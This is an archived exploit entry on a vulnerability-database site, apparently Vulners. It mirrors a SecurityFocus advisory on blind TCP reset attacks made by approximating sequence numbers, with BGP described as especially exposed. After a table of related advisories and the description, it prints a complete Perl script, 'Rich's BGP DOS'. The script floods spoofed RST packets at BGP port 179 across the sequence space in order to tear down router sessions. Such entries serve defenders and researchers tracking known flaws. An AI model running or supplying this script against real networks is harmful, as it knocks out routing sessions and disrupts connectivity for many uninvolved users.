Multiple Vendor - TCP Sequence Number Approximation (2)
| Reporter | Title | Published | Views | Family All 100 |
|---|---|---|---|---|
| FreeBSD -- Denial of Service in TCP packet processing | 16 Sep 201400:00 | – | freebsd | |
| TCP denial-of-service attacks against long lived connections | 1 Jun 199500:00 | – | freebsd | |
| Scanvus now supports Vulners and Vulns.io VM Linux vulnerability detection APIs | 30 Dec 202218:03 | – | avleonov | |
| FANUC Embedded Software Malfunction | 5 Jul 201600:00 | – | bdu_fstec | |
| BSA-2016-1052 | 11 Apr 201600:00 | – | broadcom | |
| TCP Vulnerabilities in Multiple IOS-Based Cisco Products | 20 Apr 200421:00 | – | cisco | |
| TCP Vulnerabilities in Multiple Non-IOS Cisco Products | 20 Apr 200421:00 | – | cisco | |
| TCP Vulnerabilities in Multiple IOS-Based Cisco Products | 10 Jan 201200:00 | – | nessus | |
| Fortinet Fortigate CVE-2004-0230 Blind Reset Attack Using the RST/SYN Bit (FG-IR-16-039) | 27 Oct 202400:00 | – | nessus | |
| FreeBSD : FreeBSD -- Denial of Service in TCP packet processing (729c4a9f-6007-11e6-a6c3-14dae9d210b8) | 12 Aug 201600:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
#!/usr/bin/perl
#
# Rich's BGP DOS!
# version .02
# Sends out RST flood to DOS BGP Connections
#
# Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/)
#
#For this to work you must do a preceding scan to figure out what the source port and sequence number should be!
#Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS
#And also find out the hops to set the ttl w/ traceroute. Per the RFC, the TTL must be 1 when it arrives at the router.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('s:p:d:t:x');
$a = new Net::RawIP;
die "Usage $0 -s <spoofed source> -p <source port> -d <destination> -t <ttl>" unless ($opt_s && $opt_p && $opt_d && $opt_t);
$count=0;
while ($count < 4294967296) {
#Increment the count
$count=$count + 16384;
#Create IP packet!
$a->set({ ip =>
{saddr => $opt_s,
daddr => $opt_d,
ttl => $opt_t
},
#Another TCP port could be specified here to do DOSes on other TCP services. BGP is 179
tcp=> {dest => 179,
source => $opt_p,
window => 16384,
seq => $count,
rst => 1}
});
#Send it out!
$a->send;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jan 2013 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 25
EPSS0.80286
SSVC